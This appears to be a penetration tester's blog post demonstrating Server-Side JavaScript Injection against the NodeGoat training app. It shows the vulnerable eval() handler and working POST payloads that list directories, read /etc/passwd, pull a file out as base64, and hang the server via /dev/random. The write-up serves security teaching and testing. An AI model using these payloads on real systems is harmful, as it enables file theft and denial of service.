I recently came across a node.js server in a pen test. If you aren't familiar with node.js, Wikipedia describes it as "...an open-source, cross-platform runtime environment for developing server-side web applications. Node.js applications are written in JavaScript and can be run within the Node.js runtime on a wide variety of platforms."
For my pen test, there was JavaScript everywhere! JS on the Server, JS from the client to the server....
Wait a second! This app is sending JavaScript (actual code, not data) from the client to the server. Uh Oh! Time for some code injection (or more accurately Server Side JavaScript Injection, SSJI or SSJSI).
Of course I can't share the code I was testing with you, so let's run through a similar scenario in the NodeGoat.js.
The data posted in this page looks like this:
preTax=0roth=0&afterTax=0
To test for code injection, we could simply change one of the zeros to 1+1 (encoded as 1%2b1) and see if the results are stored as 2.
preTax=0roth=0&afterTax=1%2b1
Success! Yay!
Let's take a look at the backend file (contributions.js) to find the vulnerability.
this.handleContributionsUpdate = function(req, res, next) { /*jslint evil: true */ // Insecure use of eval() to parse inputs var preTax = eval(req.body.preTax); var afterTax = eval(req.body.afterTax); var roth = eval(req.body.rot);
The problem is that the code uses eval() on data submitted from the user. We need better JavaScript to extract information from the server. If we look at the NodeGoat tutorial, it describes a few ways to cause a denial of service condition by using all the processor time, blocking the thread, or killing the current process. Of course, we want to avoid a DoS condition.
The tutorial also describes how we can access the file system with this code:
Current directory contents
res.end(require('fs').readdirSync('.').toString())
Parent directory contents
res.end(require('fs').readdirSync('..').toString())
Contents of a file
res.end(require('fs').readFileSync(filename))
But wait a second! The server is single threaded and we are calling the synchronous methods (notice "Sync" in the name). These functions will wait until the read operation is done before passing execution back to Node. If you happen to read a large file (or accidently read a special file or fifo) the whole server will hang. Let's test by reading /dev/random.
preTax=res.end(require('fs').readFileSync('/dev/random'))&roth=0&afterTax=0
...And it hangs...
...for EVERYONE!
Of course, we would avoid this file but you may accidently end up reading the wrong file or a large file and hanging the server. The more robust and safer solution is to use an asynchronous call to read files. The asynchronous calls need a callback function to handle the processed data. Below is a post that will read /etc/passwd with an asynchronous call.
preTax=require('fs').readFile('/etc/passwd',function(err,data){if(!err){res.end(data.toString())}})&roth=0&afterTax=0
Pretty formatting of the read function looks like this:
require('fs').readFile('/etc/passwd',function(err,data){ if(!err){ res.end(data.toString()) } })
The anonymous callback function is run after the file has been read. If the read is successful (no error), then the contents are output. We can automatically encode the file contents (of a binary file) by adding an encoding option (base64 in the example below).
preTax=require('fs').readFile('app/assets/secret.zip','base64',function(err,data){if(!err){res.end(data.toString())}})&roth=0&afterTax=0
And if we accidently read a large file it doesn't kill the server.... Oh yeah! Nice!
SSJI vulnerabilities give us a lot of access to the server, but be very careful. The synchronous code is much easier to write, but it can DoS the server if used incorrectly.
So, have fun testing for Server-Side Javascript Injection, but remember to be careful not to hang the target machine!
-Tim Medin
Counter Hack